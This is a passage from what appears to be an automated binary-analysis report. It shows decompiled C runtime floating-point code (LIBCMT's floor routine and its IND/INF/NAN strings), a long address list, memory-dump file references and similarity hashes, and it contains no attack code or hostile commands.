									L303:
									 *_t1170 = 0;
									goto L304;
								}
							}
						}
					}
				} else {
					_t1022 = _t1156 & 0x000fffff;
					if((_t986 | _t1156 & 0x000fffff) != 0) {
						goto L11;
					} else {
						_push(0xc9ddac);
						_push(_a24);
						 *(_v1924 + 4) =  *(_v1924 + 4) & 0x00000000;
						_push(_t1089);
						L311:
						if(E00C7A79C() != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00C7B914();
							asm("int3");
							_push(_t1198);
							_push(_t1156);
							_t1157 = _v2424;
							__eflags = _t1157;
							if(_t1157 != 0) {
								_t739 = _v0;
								__eflags = _v0;
								if(__eflags != 0) {
									_push(_t1118);
									_t1119 = _a8;
									__eflags = _t1119;
									if(_t1119 == 0) {
										L322:
										E00C583F0(_t1119, _t739, 0, _a4);
										__eflags = _t1119;
										if(__eflags != 0) {
											__eflags = _a4 - _t1157;
											if(__eflags >= 0) {
												_t741 = 0x16;
											} else {
												_t742 = E00C61D29(__eflags);
												_push(0x22);
												goto L326;
											}
										} else {
											_t742 = E00C61D29(__eflags);
											_push(0x16);
											L326:
											_pop(_t1159);
											 *_t742 = _t1159;
											E00C7B8E7();
											_t741 = _t1159;
										}
									} else {
										__eflags = _a4 - _t1157;
										if(_a4 < _t1157) {
											goto L322;
										} else {
											E00C60230(_t739, _t1119, _t1157);
											_t741 = 0;
										}
									}
								} else {
									_t745 = E00C61D29(__eflags);
									_t1160 = 0x16;
									 *_t745 = _t1160;
									E00C7B8E7();
									_t741 = _t1160;
								}
							} else {
								_t741 = 0;
							}
							return _t741;
						} else {
							L304:
							_t1212 = _v1936;
							_pop(_t1121);
							_pop(_t1161);
							_pop(_t987);
							if(_v1936 != 0) {
								_t736 = E00C917CC(_t1022, _t1212,  &_v1944);
							}
							return E00C572B1(_t736, _t987, _v8 ^ _t1198, _t1089, _t1121, _t1161);
						}
					}
				}
			}

0x00c8cc96
0x00c8cca1
0x00c8cca8
0x00c8ccae
0x00c8ccb7
0x00c8ccc4
0x00c8ccd5
0x00c8cce7
0x00c8cced
0x00c8ccd7
0x00c8ccd7
0x00c8ccd7
0x00c8ccf4
0x00c8ccf5
0x00c8ccf9
0x00c8ccff
0x00c8cd00
0x00c8cd02
0x00c8cd0f
0x00c8cd0a
0x00c8cd0c
0x00c8cd0c
0x00c8cd11
0x00c8cd17
0x00c8cd1d
0x00c8cd21
0x00c8cd2e
0x00c8cd56
0x00c8cd5a
0x00c8cd60
0x00c8cd62
0x00c8cd6a
0x00c8cd6a
0x00c8cd71
0x00c8cd71
0x00c8cd74
0x00c8dfcc
0x00000000
0x00c8cd7a
0x00c8cd7a
0x00c8cd7a
0x00c8cd7d
0x00c8dfaf
0x00000000
0x00c8cd83
0x00c8cd83
0x00c8cd83
0x00c8cd86
0x00c8dfa8
0x00000000
0x00c8cd8c
0x00c8cd8c
0x00c8cd8f
0x00c8dfa1
0x00c8dfb4
0x00c8dfb4
0x00c8dfb7
0x00c8dfbd
0x00000000
0x00c8cd95
0x00c8cd9e
0x00c8cda6
0x00c8cda9
0x00c8cdac
0x00c8cdaf
0x00c8cdb5
0x00c8cdbd
0x00c8cdc3
0x00c8cdcd
0x00c8cdcd
0x00c8cdd0
0x00c8cdd9
0x00c8cddb
0x00c8cde0
0x00c8cde0
0x00c8cdd2
0x00c8cdd4
0x00c8cdd6
0x00c8cdd6
0x00c8cde8
0x00c8cdf0
0x00c8cdf6
0x00c8cdf8
0x00c8ce01
0x00c8ce07
0x00c8ce0c
0x00c8ce0d
0x00c8ce0e
0x00c8ce11
0x00c8ce1d
0x00c8ce1f
0x00c8ce27
0x00c8ce28
0x00c8ce2e
0x00c8ce38
0x00c8ce38
0x00c8ce3a
0x00c8ce30
0x00c8ce30
0x00c8ce36
0x00000000
0x00000000
0x00c8ce36
0x00c8ce40
0x00c8ce4e
0x00c8ce50
0x00c8ce59
0x00c8ce5f
0x00c8ce66
0x00c8ce67
0x00c8ce6d
0x00c8ce73
0x00c8d251
0x00c8d254
0x00c8d36c
0x00c8d36c
0x00c8d373
0x00c8d373
0x00c8d373
0x00c8d37a
0x00c8d37d
0x00c8d382
0x00c8d382
0x00c8d37f
0x00c8d37f
0x00c8d37f
0x00c8d384
0x00c8d386
0x00c8d386
0x00c8d38e
0x00c8d394
0x00c8d396
0x00c8d399
0x00c8d39f
0x00c8d3a1
0x00c8d3a1
0x00c8d3a3
0x00c8d3b4
0x00c8d3b4
0x00c8d3b4
0x00c8d3a5
0x00c8d3ac
0x00c8d3ac
0x00c8d3bb
0x00c8d3be
0x00c8d3c0
0x00c8d3c6
0x00c8d3c6
0x00c8d3c2
0x00c8d3c2
0x00c8d3c2
0x00c8d3ce
0x00c8d3d8
0x00c8d3df
0x00c8d3e0
0x00c8d3e3
0x00000000
0x00000000
0x00c8d3e5
0x00c8d3e5
0x00c8d3ed
0x00c8d3f3
0x00c8d3f6
0x00c8d403
0x00c8d3f8
0x00c8d3fb
0x00c8d3fb
0x00c8d41c
0x00c8d428
0x00c8d435
0x00c8d437
0x00c8d25a
0x00c8d25a
0x00c8d261
0x00c8d26b
0x00c8d275
0x00c8d277
0x00c8d27d
0x00c8d27d
0x00c8d27f
0x00c8d27f
0x00c8d286
0x00c8d28d
0x00000000
0x00000000
0x00c8d293
0x00c8d296
0x00c8d299
0x00000000
0x00c8d29b
0x00c8d29b
0x00c8d29b
0x00c8d29b
0x00c8d2a2
0x00c8d2a5
0x00c8d2aa
0x00c8d2aa
0x00c8d2a7
0x00c8d2a7
0x00c8d2a7
0x00c8d2ac
0x00c8d2ae
0x00c8d2ae
0x00c8d2b6
0x00c8d2bc
0x00c8d2be
0x00c8d2c1
0x00c8d2c7
0x00c8d2c9
0x00c8d2c9
0x00c8d2cb
0x00c8d2dc
0x00c8d2dc
0x00c8d2dc
0x00c8d2cd
0x00c8d2d4
0x00c8d2d4
0x00c8d2e3
0x00c8d2e6
0x00c8d2e8
0x00c8d2ee
0x00c8d2ee
0x00c8d2ea
0x00c8d2ea
0x00c8d2ea
0x00c8d2f6
0x00c8d301
0x00c8d308
0x00c8d309
0x00c8d30c
0x00000000
0x00000000
0x00c8d30e
0x00c8d30e
0x00c8d316
0x00c8d31c
0x00c8d31f
0x00c8d32c
0x00c8d321
0x00c8d324
0x00c8d324
0x00c8d345
0x00c8d351
0x00c8d360
0x00c8d360
0x00000000
0x00c8d299
0x00c8d27f
0x00000000
0x00c8d277
0x00c8d43e
0x00c8d43e
0x00c8d441
0x00c8d446
0x00c8d44c
0x00c8d452
0x00c8d452
0x00c8d455
0x00c8d45c
0x00c8d463
0x00c8d464
0x00c8d465
0x00c8d46a
0x00c8ce79
0x00c8ce79
0x00c8ce80
0x00c8ce8a
0x00c8ce94
0x00c8ce96
0x00c8d090
0x00c8d090
0x00c8d09c
0x00c8d09f
0x00c8d0a4
0x00c8d0ac
0x00c8d0b3
0x00c8d0c5
0x00c8d0c6
0x00c8d0c6
0x00c8d0c6
0x00c8d0cd
0x00c8d0d3
0x00c8d0d5
0x00c8d0db
0x00c8d0de
0x00c8d0e3
0x00c8d0e3
0x00c8d0e0
0x00c8d0e0
0x00c8d0e0
0x00c8d0e5
0x00c8d0e8
0x00c8d0ea
0x00c8d0f0
0x00c8d0f6
0x00c8d0f9
0x00c8d107
0x00c8d107
0x00c8d107
0x00c8d0fb
0x00c8d0fb
0x00c8d101
0x00000000
0x00c8d103
0x00c8d103
0x00c8d103
0x00c8d101
0x00c8d109
0x00c8d10c
0x00c8d1ff
0x00c8d1ff
0x00c8d201
0x00c8d206
0x00c8d207
0x00c8d20d
0x00c8d219
0x00c8d220
0x00c8d221
0x00c8d222
0x00c8d227
0x00c8d112
0x00c8d112
0x00c8d114
0x00000000
0x00c8d11a
0x00c8d11a
0x00c8d11d
0x00c8d121
0x00c8d122
0x00c8d122
0x00c8d128
0x00c8d12a
0x00c8d130
0x00c8d133
0x00c8d139
0x00c8d141
0x00c8d141
0x00c8d149
0x00c8d14c
0x00c8d14c
0x00c8d14e
0x00000000
0x00000000
0x00c8d150
0x00c8d152
0x00c8d158
0x00c8d158
0x00c8d154
0x00c8d154
0x00c8d154
0x00c8d15a
0x00c8d163
0x00c8d165
0x00c8d16c
0x00c8d16c
0x00c8d167
0x00c8d167
0x00c8d167
0x00c8d174
0x00c8d193
0x00c8d19b
0x00c8d1a2
0x00c8d1a3
0x00c8d1a4
0x00c8d1aa
0x00c8d1ad
0x00c8d1af
0x00000000
0x00c8d1af
0x00000000
0x00c8d1ad
0x00c8d1b7
0x00c8d1bd
0x00c8d1c3
0x00c8d1c3
0x00c8d1c9
0x00c8d1cb
0x00c8d1d5
0x00c8d1d7
0x00c8d1d7
0x00c8d1d9
0x00c8d1d9
0x00c8d1df
0x00c8d1e4
0x00c8d1ea
0x00c8d1f7
0x00c8d1ec
0x00c8d1ef
0x00c8d1ef
0x00c8d1ea
0x00c8d114
0x00c8d22a
0x00c8d234
0x00c8d23e
0x00c8d244
0x00c8d24a
0x00c8ce9c
0x00c8ce9c
0x00c8ce9c
0x00c8ce9e
0x00c8cea5
0x00c8ceac
0x00000000
0x00000000
0x00c8ceb2
0x00c8ceb5
0x00c8ceb8
0x00000000
0x00c8ceba
0x00c8ceba
0x00c8cec6
0x00c8cec9
0x00c8cece
0x00c8ced6
0x00c8cedd
0x00c8ceef
0x00c8cef0
0x00c8cef0
0x00c8cef0
0x00c8cef7
0x00c8cefd
0x00c8ceff
0x00c8cf05
0x00c8cf08
0x00c8cf0d
0x00c8cf0d
0x00c8cf0a
0x00c8cf0a
0x00c8cf0a
0x00c8cf0f
0x00c8cf12
0x00c8cf14
0x00c8cf1a
0x00c8cf20
0x00c8cf23
0x00c8cf31
0x00c8cf31
0x00c8cf31
0x00c8cf25
0x00c8cf25
0x00c8cf2b
0x00000000
0x00c8cf2d
0x00c8cf2d
0x00c8cf2d
0x00c8cf2b
0x00c8cf33
0x00c8cf36
0x00c8d029
0x00c8d029
0x00c8d02b
0x00c8d030
0x00c8d031
0x00c8d037
0x00c8d043
0x00c8d04a
0x00c8d04b
0x00c8d04c
0x00c8d051
0x00c8cf3c
0x00c8cf3c
0x00c8cf3e
0x00000000
0x00c8cf44
0x00c8cf44
0x00c8cf47
0x00c8cf4b
0x00c8cf4c
0x00c8cf4c
0x00c8cf52
0x00c8cf54
0x00c8cf5a
0x00c8cf5d
0x00c8cf63
0x00c8cf6b
0x00c8cf6b
0x00c8cf73
0x00c8cf76
0x00c8cf76
0x00c8cf78
0x00000000
0x00000000
0x00c8cf7a
0x00c8cf7c
0x00c8cf82
0x00c8cf82
0x00c8cf7e
0x00c8cf7e
0x00c8cf7e
0x00c8cf84
0x00c8cf8d
0x00c8cf8f
0x00c8cf96
0x00c8cf96
0x00c8cf91
0x00c8cf91
0x00c8cf91
0x00c8cf9e
0x00c8cfbd
0x00c8cfc5
0x00c8cfcc
0x00c8cfcd
0x00c8cfce
0x00c8cfd4
0x00c8cfd7
0x00c8cfd9
0x00000000
0x00c8cfd9
0x00000000
0x00c8cfd7
0x00c8cfe1
0x00c8cfe7
0x00c8cfed
0x00c8cfed
0x00c8cff3
0x00c8cff5
0x00c8cfff
0x00c8d001
0x00c8d001
0x00c8d003
0x00c8d003
0x00c8d009
0x00c8d00e
0x00c8d014
0x00c8d021
0x00c8d016
0x00c8d019
0x00c8d019
0x00c8d014
0x00c8cf3e
0x00c8d054
0x00c8d05f
0x00c8d060
0x00c8d061
0x00c8d067
0x00c8d06d
0x00c8d073
0x00c8d073
0x00000000
0x00c8ceb8
0x00000000
0x00c8ce9e
0x00c8d074
0x00c8d07a
0x00c8d081
0x00c8d082
0x00c8d083
0x00c8d088
0x00c8d088
0x00c8d46d
0x00c8d477
0x00c8d478
0x00c8d47e
0x00c8d480
0x00c8d8da
0x00c8d8dc
0x00c8d8dc
0x00c8d8de
0x00c8d8e4
0x00c8d8e6
0x00c8d8ec
0x00c8d8ee
0x00c8dc35
0x00c8dc35
0x00c8dc37
0x00c8dc3d
0x00c8dc44
0x00c8dc4a
0x00c8dc4c
0x00c8dcea
0x00c8dcea
0x00c8dcec
0x00c8dced
0x00c8dcf3
0x00000000
0x00c8dc52
0x00c8dc52
0x00c8dc55
0x00c8dc5b
0x00c8dc61
0x00c8dc63
0x00c8dc69
0x00c8dc6b
0x00c8dc6b
0x00c8dc6d
0x00c8dc6d
0x00c8dc76
0x00c8dc7d
0x00c8dc83
0x00c8dc86
0x00c8dc87
0x00c8dc89
0x00c8dc89
0x00c8dc8d
0x00c8dc8f
0x00c8dc91
0x00c8dc97
0x00c8dc9a
0x00000000
0x00c8dc9c
0x00c8dc9c
0x00c8dca3
0x00c8dca3
0x00c8dc9a
0x00c8dc8f
0x00c8dc63
0x00c8dc55
0x00c8dc4c
0x00c8d8f4
0x00c8d8f4
0x00c8d8f4
0x00c8d8f7
0x00c8d8fb
0x00c8d8fb
0x00c8d8fc
0x00c8d90e
0x00c8d91b
0x00c8d92a
0x00c8d954
0x00c8d959
0x00c8d95f
0x00c8d962
0x00c8d965
0x00c8d9fb
0x00c8da02
0x00c8da88
0x00c8da8e
0x00c8da94
0x00c8da94
0x00c8da94
0x00c8da97
0x00c8da99
0x00c8da99
0x00c8da9f
0x00c8daa5
0x00c8daab
0x00c8daad
0x00c8daaf
0x00c8daaf
0x00c8dab5
0x00c8dabb
0x00c8dabd
0x00c8dac9
0x00c8dacf
0x00c8dabf
0x00c8dabf
0x00c8dac1
0x00c8dac1
0x00c8dad5
0x00c8dad7
0x00c8dad9
0x00c8dad9
0x00c8dadf
0x00c8dae1
0x00c8dae3
0x00c8dae9
0x00c8daeb
0x00c8dbec
0x00c8dbec
0x00c8dbf2
0x00c8dbf2
0x00c8dbf5
0x00c8dbf6
0x00000000
0x00c8daf1
0x00c8daf1
0x00c8daf1
0x00c8daf5
0x00c8db15
0x00c8db17
0x00c8db19
0x00c8db1f
0x00c8db25
0x00c8db27
0x00c8dbce
0x00c8dbce
0x00c8dbd1
0x00000000
0x00c8dbd7
0x00c8dbd7
0x00c8dbdd
0x00000000
0x00c8dbdd
0x00c8db2d
0x00c8db2d
0x00c8db2d
0x00c8db30
0x00000000
0x00000000
0x00c8db32
0x00c8db34
0x00c8db3c
0x00c8db45
0x00c8db45
0x00c8db47
0x00c8db47
0x00c8db59
0x00c8db5c
0x00c8db62
0x00c8db6b
0x00c8db6e
0x00c8db7b
0x00c8db7e
0x00c8db7f
0x00c8db80
0x00c8db86
0x00c8db88
0x00c8db8e
0x00c8db94
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8db96
0x00c8db96
0x00c8db96
0x00c8db98
0x00000000
0x00000000
0x00c8db9a
0x00c8db9d
0x00000000
0x00c8dba3
0x00c8dba3
0x00c8dba5
0x00c8dba7
0x00c8dba7
0x00c8dba7
0x00c8dbaf
0x00c8dbb2
0x00c8dbb2
0x00c8dbb8
0x00c8dbba
0x00c8dbbc
0x00c8dbc3
0x00c8dbc9
0x00c8dbcb
0x00000000
0x00c8dbcb
0x00000000
0x00c8db9d
0x00000000
0x00c8db96
0x00000000
0x00c8db2d
0x00c8daf7
0x00c8daf7
0x00c8daf9
0x00c8daff
0x00c8db07
0x00c8db07
0x00c8db0a
0x00c8db0a
0x00000000
0x00c8daf9
0x00000000
0x00c8dbe3
0x00c8dbe3
0x00c8dbe4
0x00c8dbe4
0x00000000
0x00c8daf1
0x00c8da08
0x00c8da08
0x00c8da13
0x00c8da1a
0x00c8da20
0x00c8da27
0x00c8da2d
0x00c8da2e
0x00c8da2f
0x00c8da34
0x00c8da37
0x00c8da39
0x00000000
0x00c8da3f
0x00c8da3f
0x00c8da42
0x00000000
0x00c8da48
0x00c8da48
0x00c8da4f
0x00000000
0x00c8da55
0x00c8da5b
0x00c8da5d
0x00c8da63
0x00c8da63
0x00c8da65
0x00c8da67
0x00c8da67
0x00c8da69
0x00c8da72
0x00c8da79
0x00c8da7c
0x00c8da7d
0x00c8da7f
0x00c8da7f
0x00000000
0x00c8da83
0x00c8da4f
0x00c8da42
0x00c8da39
0x00c8d96b
0x00c8d96b
0x00c8d971
0x00c8d973
0x00c8d98f
0x00c8d992
0x00000000
0x00c8d998
0x00c8d998
0x00c8d99f
0x00000000
0x00c8d9a5
0x00c8d9ab
0x00c8d9ad
0x00c8d9ad
0x00c8d9af
0x00c8d9b1
0x00c8d9b1
0x00c8d9b3
0x00c8d9bc
0x00c8d9c3
0x00c8d9c6
0x00c8d9c7
0x00c8d9c9
0x00c8d9c9
0x00c8d9cd
0x00c8d9cd
0x00c8d9d2
0x00c8d9d4
0x00000000
0x00c8d9da
0x00c8d9da
0x00c8d9e0
0x00c8d9e3
0x00c8dcab
0x00c8dcad
0x00c8dcae
0x00c8dcb4
0x00c8dcc0
0x00c8dcc7
0x00c8dcc8
0x00c8dcc9
0x00c8dcce
0x00c8dcd1
0x00c8d9e9
0x00c8d9e9
0x00c8d9f0
0x00000000
0x00c8d9f0
0x00c8d9e3
0x00c8d9d4
0x00c8d99f
0x00c8d975
0x00c8d975
0x00c8d977
0x00c8d97d
0x00c8d983
0x00c8d984
0x00c8dbfc
0x00c8dbfc
0x00c8dc03
0x00c8dc04
0x00c8dc05
0x00c8dc0a
0x00c8dc0d
0x00c8dc0d
0x00c8dc0d
0x00c8d973
0x00c8dc0f
0x00c8dc0f
0x00c8dc11
0x00c8dcd8
0x00c8dcdf
0x00c8dce6
0x00c8dcf9
0x00c8dcff
0x00c8dd00
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8dc17
0x00c8dc1d
0x00c8dc1d
0x00c8dc23
0x00c8dc23
0x00c8dc2f
0x00000000
0x00c8dc2f
0x00c8d486
0x00c8d486
0x00c8d486
0x00c8d488
0x00c8d48e
0x00c8d490
0x00c8d496
0x00c8d498
0x00c8d800
0x00c8d800
0x00c8d802
0x00c8d808
0x00c8d80f
0x00c8d815
0x00c8d817
0x00c8d876
0x00c8d879
0x00c8d87f
0x00c8d885
0x00c8d887
0x00c8d88d
0x00c8d88f
0x00c8d88f
0x00c8d891
0x00c8d891
0x00c8d89a
0x00c8d8a1
0x00c8d8a7
0x00c8d8aa
0x00c8d8ab
0x00c8d8ad
0x00c8d8ad
0x00c8d8b1
0x00c8d8b3
0x00c8d8b9
0x00c8d8bf
0x00c8d8c2
0x00000000
0x00c8d8c8
0x00c8d8c8
0x00c8d8cf
0x00c8d8cf
0x00c8d8c2
0x00c8d8b3
0x00c8d887
0x00c8d819
0x00c8d819
0x00c8d81b
0x00c8d821
0x00c8d827
0x00000000
0x00c8d827
0x00c8d817
0x00c8d49e
0x00c8d49e
0x00c8d49e
0x00c8d4a1
0x00c8d4a5
0x00c8d4a5
0x00c8d4a6
0x00c8d4b8
0x00c8d4c5
0x00c8d4d4
0x00c8d4fe
0x00c8d503
0x00c8d509
0x00c8d50c
0x00c8d50f
0x00c8d583
0x00c8d58a
0x00c8d657
0x00c8d65d
0x00c8d663
0x00c8d663
0x00c8d663
0x00c8d666
0x00c8d668
0x00c8d668
0x00c8d66e
0x00c8d674
0x00c8d67a
0x00c8d67c
0x00c8d67e
0x00c8d67e
0x00c8d684
0x00c8d68a
0x00c8d68c
0x00c8d698
0x00c8d69e
0x00c8d68e
0x00c8d68e
0x00c8d690
0x00c8d690
0x00c8d6a4
0x00c8d6a6
0x00c8d6a8
0x00c8d6a8
0x00c8d6ae
0x00c8d6b0
0x00c8d6b2
0x00c8d6b8
0x00c8d6ba
0x00c8d7bb
0x00c8d7bb
0x00c8d7c1
0x00c8d7c1
0x00000000
0x00c8d6c0
0x00c8d6c0
0x00c8d6c0
0x00c8d6c4
0x00c8d6e4
0x00c8d6e6
0x00c8d6e8
0x00c8d6ee
0x00c8d6f4
0x00c8d6f6
0x00c8d79d
0x00c8d79d
0x00c8d7a0
0x00000000
0x00c8d7a6
0x00c8d7a6
0x00c8d7ac
0x00000000
0x00c8d7ac
0x00c8d6fc
0x00c8d6fc
0x00c8d6fc
0x00c8d6ff
0x00000000
0x00000000
0x00c8d701
0x00c8d703
0x00c8d70b
0x00c8d714
0x00c8d714
0x00c8d716
0x00c8d716
0x00c8d728
0x00c8d72b
0x00c8d731
0x00c8d73a
0x00c8d73d
0x00c8d74a
0x00c8d74d
0x00c8d74e
0x00c8d74f
0x00c8d755
0x00c8d757
0x00c8d75d
0x00c8d763
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8d765
0x00c8d765
0x00c8d765
0x00c8d767
0x00000000
0x00000000
0x00c8d769
0x00c8d76c
0x00c8d82a
0x00c8d82a
0x00c8d82c
0x00c8d832
0x00c8d838
0x00c8d839
0x00000000
0x00c8d772
0x00c8d772
0x00c8d774
0x00c8d776
0x00c8d776
0x00c8d776
0x00c8d77e
0x00c8d781
0x00c8d781
0x00c8d787
0x00c8d789
0x00c8d78b
0x00c8d792
0x00c8d798
0x00c8d79a
0x00000000
0x00c8d79a
0x00000000
0x00c8d76c
0x00000000
0x00c8d765
0x00000000
0x00c8d6fc
0x00c8d6c6
0x00c8d6c6
0x00c8d6c8
0x00c8d6ce
0x00c8d6d6
0x00c8d6d6
0x00c8d6d9
0x00c8d6d9
0x00000000
0x00c8d6c8
0x00000000
0x00c8d7b2
0x00c8d7b2
0x00c8d7b3
0x00c8d7b3
0x00000000
0x00c8d6c0
0x00c8d590
0x00c8d590
0x00c8d59b
0x00c8d5a2
0x00c8d5a8
0x00c8d5af
0x00c8d5b5
0x00c8d5b6
0x00c8d5b7
0x00c8d5bc
0x00c8d5bf
0x00c8d5c1
0x00c8d5dd
0x00c8d5e0
0x00000000
0x00c8d5e6
0x00c8d5e6
0x00c8d5ed
0x00000000
0x00c8d5f3
0x00c8d5f9
0x00c8d5fb
0x00c8d601
0x00c8d601
0x00c8d603
0x00c8d605
0x00c8d605
0x00c8d607
0x00c8d610
0x00c8d617
0x00c8d61a
0x00c8d61b
0x00c8d61d
0x00c8d61d
0x00000000
0x00c8d605
0x00c8d5ed
0x00c8d5c3
0x00c8d5c5
0x00c8d5cb
0x00c8d5d1
0x00c8d5d2
0x00000000
0x00c8d5d2
0x00c8d5c1
0x00c8d511
0x00c8d511
0x00c8d517
0x00c8d519
0x00c8d52e
0x00c8d531
0x00000000
0x00c8d537
0x00c8d537
0x00c8d53e
0x00000000
0x00c8d544
0x00c8d54a
0x00c8d54c
0x00c8d54c
0x00c8d54e
0x00c8d550
0x00c8d550
0x00c8d552
0x00c8d55b
0x00c8d562
0x00c8d565
0x00c8d566
0x00c8d568
0x00c8d568
0x00c8d621
0x00c8d621
0x00c8d626
0x00c8d628
0x00000000
0x00c8d62e
0x00c8d62e
0x00c8d634
0x00c8d637
0x00c8d571
0x00c8d578
0x00000000
0x00c8d63d
0x00c8d63f
0x00c8d645
0x00c8d64b
0x00c8d64c
0x00c8d83f
0x00c8d83f
0x00c8d846
0x00c8d847
0x00c8d848
0x00c8d84d
0x00c8d850
0x00c8d850
0x00c8d637
0x00c8d628
0x00c8d53e
0x00c8d51b
0x00c8d51b
0x00c8d51d
0x00c8d523
0x00c8d7c4
0x00c8d7c4
0x00c8d7c5
0x00c8d7cb
0x00c8d7cb
0x00c8d7d2
0x00c8d7d3
0x00c8d7d4
0x00c8d7d9
0x00c8d7dc
0x00c8d7dc
0x00c8d7dc
0x00c8d519
0x00c8d7de
0x00c8d7de
0x00c8d7e0
0x00c8d854
0x00c8d85b
0x00c8d85b
0x00c8d85b
0x00c8d862
0x00c8d864
0x00c8d86a
0x00c8d86b
0x00c8dd06
0x00c8dd06
0x00c8dd07
0x00c8dd08
0x00c8dd0d
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8d7e2
0x00c8d7e8
0x00c8d7e8
0x00c8d7ee
0x00c8d7ee
0x00c8d7fa
0x00000000
0x00c8d7fa
0x00c8d498
0x00c8dd10
0x00c8dd10
0x00c8dd16
0x00c8dd18
0x00c8dd1e
0x00c8dd24
0x00c8dd26
0x00c8dd2a
0x00c8dd2c
0x00c8dd2c
0x00c8dd2e
0x00c8dd2f
0x00c8dd2f
0x00c8dd36
0x00c8dd3a
0x00c8dd41
0x00c8dd44
0x00c8dd45
0x00c8dd47
0x00c8dd47
0x00c8dd4b
0x00c8dd51
0x00c8dd53
0x00c8dd5e
0x00c8dd60
0x00c8dd66
0x00c8dd69
0x00c8dd7c
0x00c8dd7e
0x00c8dd7f
0x00c8dd85
0x00c8dd91
0x00c8dd98
0x00c8dd99
0x00c8dd9a
0x00c8dd9f
0x00c8dd6b
0x00c8dd6d
0x00c8dd74
0x00c8dd74
0x00c8dd69
0x00c8dda2
0x00c8dda2
0x00c8ddb2
0x00c8ddb9
0x00c8ddbc
0x00c8de58
0x00c8de5a
0x00c8de65
0x00c8de65
0x00c8de67
0x00c8de6a
0x00000000
0x00c8de5c
0x00c8de62
0x00c8de62
0x00c8ddc2
0x00c8ddc2
0x00c8ddc8
0x00c8ddcb
0x00c8ddd1
0x00c8ddd4
0x00c8ddda
0x00c8dddc
0x00c8dde4
0x00c8dde6
0x00c8dde8
0x00c8dde8
0x00c8ddea
0x00c8ddeb
0x00c8ddeb
0x00c8ddf2
0x00c8ddf6
0x00c8ddfd
0x00c8de00
0x00c8de01
0x00c8de03
0x00c8de03
0x00c8de07
0x00c8de12
0x00c8de14
0x00c8de16
0x00c8de1c
0x00c8de1f
0x00c8de32
0x00c8de33
0x00c8de39
0x00c8de45
0x00c8de4c
0x00c8de4d
0x00c8de4e
0x00c8de53
0x00c8de21
0x00c8de21
0x00c8de28
0x00c8de28
0x00c8de1f
0x00c8de14
0x00c8de6c
0x00c8de6c
0x00c8de6c
0x00c8de78
0x00c8de7b
0x00c8de81
0x00c8de83
0x00c8de85
0x00c8de8b
0x00c8de8d
0x00c8de8d
0x00c8de8d
0x00c8de8b
0x00c8de92
0x00c8de93
0x00c8de95
0x00c8de97
0x00c8de97
0x00c8de99
0x00c8de9f
0x00c8dea5
0x00c8dea7
0x00c8dead
0x00c8dead
0x00c8deb3
0x00c8deb5
0x00000000
0x00000000
0x00c8debb
0x00c8debd
0x00c8debf
0x00c8debf
0x00c8dec1
0x00c8dec1
0x00c8ded1
0x00c8ded8
0x00c8dedb
0x00c8dedc
0x00c8dede
0x00c8dede
0x00c8dee7
0x00c8dee9
0x00c8deeb
0x00c8def1
0x00c8def4
0x00c8df05
0x00c8df07
0x00c8df08
0x00c8df0e
0x00c8df1a
0x00c8df21
0x00c8df22
0x00c8df23
0x00c8df28
0x00c8def6
0x00c8def6
0x00c8defd
0x00c8defd
0x00c8def4
0x00c8df39
0x00c8df48
0x00c8df49
0x00c8df49
0x00c8df4b
0x00c8df4d
0x00c8df4d
0x00c8df53
0x00c8df56
0x00c8df58
0x00c8df5a
0x00c8df5a
0x00c8df5d
0x00c8df5e
0x00c8df5e
0x00c8df63
0x00c8df66
0x00c8df6a
0x00c8df6a
0x00c8df6b
0x00c8df6d
0x00c8df73
0x00000000
0x00000000
0x00000000
0x00c8df73
0x00c8dead
0x00c8df79
0x00c8df79
0x00000000
0x00c8df79
0x00c8cd8f
0x00c8cd86
0x00c8cd7d
0x00c8cd30
0x00c8cd34
0x00c8cd3c
0x00000000
0x00c8cd3e
0x00c8cd44
0x00c8cd49
0x00c8cd4c
0x00c8cd50
0x00c8dfbe
0x00c8dfc8
0x00c8dfd5
0x00c8dfd6
0x00c8dfd7
0x00c8dfd8
0x00c8dfd9
0x00c8dfda
0x00c8dfdf
0x00c8dfe2
0x00c8dfe5
0x00c8dfe6
0x00c8dfe9
0x00c8dfeb
0x00c8dff1
0x00c8dff4
0x00c8dff6
0x00c8e00b
0x00c8e00c
0x00c8e00f
0x00c8e011
0x00c8e027
0x00c8e02d
0x00c8e035
0x00c8e037
0x00c8e042
0x00c8e045
0x00c8e05c
0x00c8e047
0x00c8e047
0x00c8e04c
0x00000000
0x00c8e04c
0x00c8e039
0x00c8e039
0x00c8e03e
0x00c8e04e
0x00c8e04e
0x00c8e04f
0x00c8e051
0x00c8e056
0x00c8e056
0x00c8e013
0x00c8e013
0x00c8e016
0x00000000
0x00c8e018
0x00c8e01b
0x00c8e023
0x00c8e023
0x00c8e016
0x00c8dff8
0x00c8dff8
0x00c8dfff
0x00c8e000
0x00c8e002
0x00c8e007
0x00c8e007
0x00c8dfed
0x00c8dfed
0x00c8dfed
0x00c8e060
0x00c8dfca
0x00c8df7c
0x00c8df7c
0x00c8df83
0x00c8df84
0x00c8df85
0x00c8df86
0x00c8df8f
0x00c8df94
0x00c8dfa0
0x00c8dfa0
0x00c8dfc8
0x00c8cd3c

APIs

__floor_pentium4.LIBCMT ref: 00C8CE11

Strings

1#IND, xrefs: 00C8DFA1
1#INF, xrefs: 00C8DFCC
1#SNAN, xrefs: 00C8DFA8
1#QNAN, xrefs: 00C8DFAF

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3e8bc9ef9c5f15487bb76b60a18acdec7d4659873d5c29711c0dfb8235fdb393
Instruction ID: 56bf325ab9c14a2d21395b18f67d11142c4266c9c6d023ad5c6742b2df720d39
Opcode Fuzzy Hash: 3e8bc9ef9c5f15487bb76b60a18acdec7d4659873d5c29711c0dfb8235fdb393
